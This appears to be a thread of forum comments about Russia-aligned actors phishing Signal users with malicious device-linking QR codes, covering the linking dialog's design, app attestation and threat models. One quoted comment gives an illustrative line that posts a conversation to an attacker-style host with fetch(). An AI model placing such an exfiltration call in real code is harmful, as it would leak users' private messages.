Multiple Russia-aligned threat actors actively targeting Signal Messenger

Not the person you replied to, but I just tried googling half a dozen different terms and got results that have nothing to do with Signal.

> Remember that Signal is designed for non-technical users.

That does not prevent them from putting up a warning message that says "You just scanned a code which will allow another device to read all future messages sent to you, and send messages from your identity. Are you sure you want to do that? And the button says "link devices", not "yes" or "no."

I think the frustration here is that Signal petulantly and paternalistically refuses to allow you to fully sync to another device (and for years refused to even allow you to back up messages) because supposedly we can't be trusted with such a thing...but then they leave the QR code system so idiotically designed it's apparently trivial to phish people into linking their devices to malicious actors?

Why the fuck does scanning a QR code, without having first selected "link device", even open that dialog? Or require a PIN code they obsessively force us to re-enter all the time?

It's obviously ripe for abuse.

We admonish people for piping a remote document into their shell but a QR code that links devices with one click is OK?

Android has that and can confirm to a third party if the phone is running for example a locked bootloader with a Google signature and a Google OS. It's technically possible to have a different chain of trust and get remote parties to accept a Google phone + a Lineage OS(an example) "original" software.

The last part is the app. You could in theory attest the signature on the app, which the OS has access to and could provide to the remote party if needed.

A fully transparent attested artifact, which doesn't involve blind trust in a entity like Google, would use a ledger with hashes and binaries of the components being attested, instead of root of trust of signatures.

All of the above are technically possible, but not implemented today in such a way to make this feasible. I'm confident that with enough interest this will be eventually implemented.

Building anything that's meant to be properly secure - secure enough that you worry about the distinction between E2E encryption and client-server encryption - on top of iOS and Google Play Services is IMO pretty pointless yes. People who care about their security to that extent will put in the effort to use something other than an iPhone. (The way that Signal promoters call people who use cryptosystems they don't like LARPers is classic projection; there's no real threat model for which Signal actually makes sense, except maybe if you work for the US government).

> I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

There's definitely a streetlight effect where academic cryptography researchers focus on the mathematical algorithms. Nowadays the circle of what you can get funding to do security research on is a little wider (toy models of the end to end messaging protocol, essentially) but still not enough to encompass the full human-to-human part that actually matters.

https://wire.com/en/